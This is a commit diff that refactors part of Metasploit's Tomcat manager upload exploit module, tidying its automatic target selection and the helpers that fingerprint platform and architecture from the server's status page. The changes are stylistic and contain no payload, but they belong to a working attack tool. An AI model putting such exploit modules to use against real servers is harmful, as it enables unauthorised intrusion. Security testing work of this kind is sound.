Do a first clean related to auto_target

modules/exploits/multi/http/tomcat_mgr_upload.rb

@@ -139,35 +139,29 @@ class Metasploit3 < Msf::Exploit::Remote
   def auto_target
     print_status("Attempting to automatically select a target...")
 
-    res = query_status()
+    res = query_status
-    return nil if not res
+    return nil unless res
 
     plat = detect_platform(res.body)
     arch = detect_arch(res.body)
 
     # No arch or platform found?
-    if (not arch or not plat)
+    unless arch and plat
       return nil
     end
 
     # see if we have a match
-    targets.each { |t|
+    targets.each { |t| return t if t['Platform'] == plat and t['Arch'] == arch }
-      if (t['Platform'] == plat) and (t['Arch'] == arch)
-        return t
-      end
-    }
 
     # no matching target found
     return nil
   end
 
-
-
   def exploit
     mytarget = target
     if (target.name =~ /Automatic/)
       mytarget = auto_target
-      if (not mytarget)
+      unless mytarget
         fail_with(Failure::NoTarget, "Unable to automatically select a target")
       end
       print_status("Automatically selected target \"#{mytarget.name}\"")
@@ -305,20 +299,15 @@ class Metasploit3 < Msf::Exploit::Remote
     handler
   end
 
-  def query_status()
+  def query_status
-    path = normalize_uri(target_uri.path.to_s, '/status')
+    path = normalize_uri(target_uri.path.to_s, 'status')
-    res = send_request_raw(
+    res = send_request_raw('uri' => path)
-      {
-        'uri'   => path
-      }, 10)
 
-    if (not res) or (res.code != 200)
+    unless res and res.code == 200
-      print_error("Failed: Error requesting #{path}")
+      vprint_error("Failed: Error requesting #{path}")
       return nil
     end
 
-    vprint_status(res.body)
-
     return res
   end
 
@@ -329,12 +318,8 @@ class Metasploit3 < Msf::Exploit::Remote
     return res
   end
 
-  def detect_platform(body = nil)
+  def detect_platform(body)
-    if not body
+    return nil if body.blank?
-      res = query_status()
-      return nil if not res
-      body = res.body
-    end
 
     i=0
 
@@ -363,11 +348,7 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def detect_arch(body)
-    if not body
+    return nil if body.blank?
-      res = query_status()
-      return nil if not res
-      body = res.body
-    end
 
     i=0
     body.each_line { |ln|